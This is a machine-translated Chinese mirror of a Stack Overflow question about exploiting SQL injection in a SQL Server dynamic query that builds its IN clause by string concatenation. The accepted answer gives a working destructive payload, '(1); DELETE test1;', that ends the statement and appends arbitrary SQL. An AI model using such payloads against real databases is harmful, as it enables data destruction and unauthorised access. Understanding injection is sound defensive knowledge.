sql - 如何利用 "IN"条件内的 SQL 注入(inject)?

标签 sql sql-server

我正在尝试利用以下 sql(在 SQL Server 2014 中):

declare @maliciousSQL nvarchar(max);
set @maliciousSQL = '???'
exec ('SELECT SUM(quantity) from mytable where id in ' + @maliciousSQL );

如何设计参数@maliciousSQL 来运行任意 sql?假设任务是执行命令 'truncate table othertable' - 它可行吗?

感谢任何人的帮助

最佳答案

SQL 注入(inject)看起来像这样:

declare @maliciousSQL nvarchar(max);
set @maliciousSQL = '(1); DELETE test1;'
exec ('SELECT SUM(quantity) from mytable where id in ' + @maliciousSQL );

用分号结束语句然后写你喜欢的

关于sql - 如何利用 "IN"条件内的 SQL 注入(inject)?,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/44024086/

相关文章:

SQL 服务器 : error conversion of a varchar data type

php - 如何防止PHP中的SQL注入(inject)?

C# sql like 语句不起作用

sql - 不匹配的输入 'from' 期待 <EOF> SQL

sql - 如何连接三张表

sql - 左加入不起作用

sql - 如何查看 SQL Server 中 varchar 或 char 字段中允许的所有 "special"字符?

c# - 如果找不到数据,SQL Server 查询连续返回 "No data"

mysql - SQL - 如何使用 AND 运算符在使用 JOIN 后起作用

sql-server - ASP 和 ADO 错误 : No value given for one or more required parameters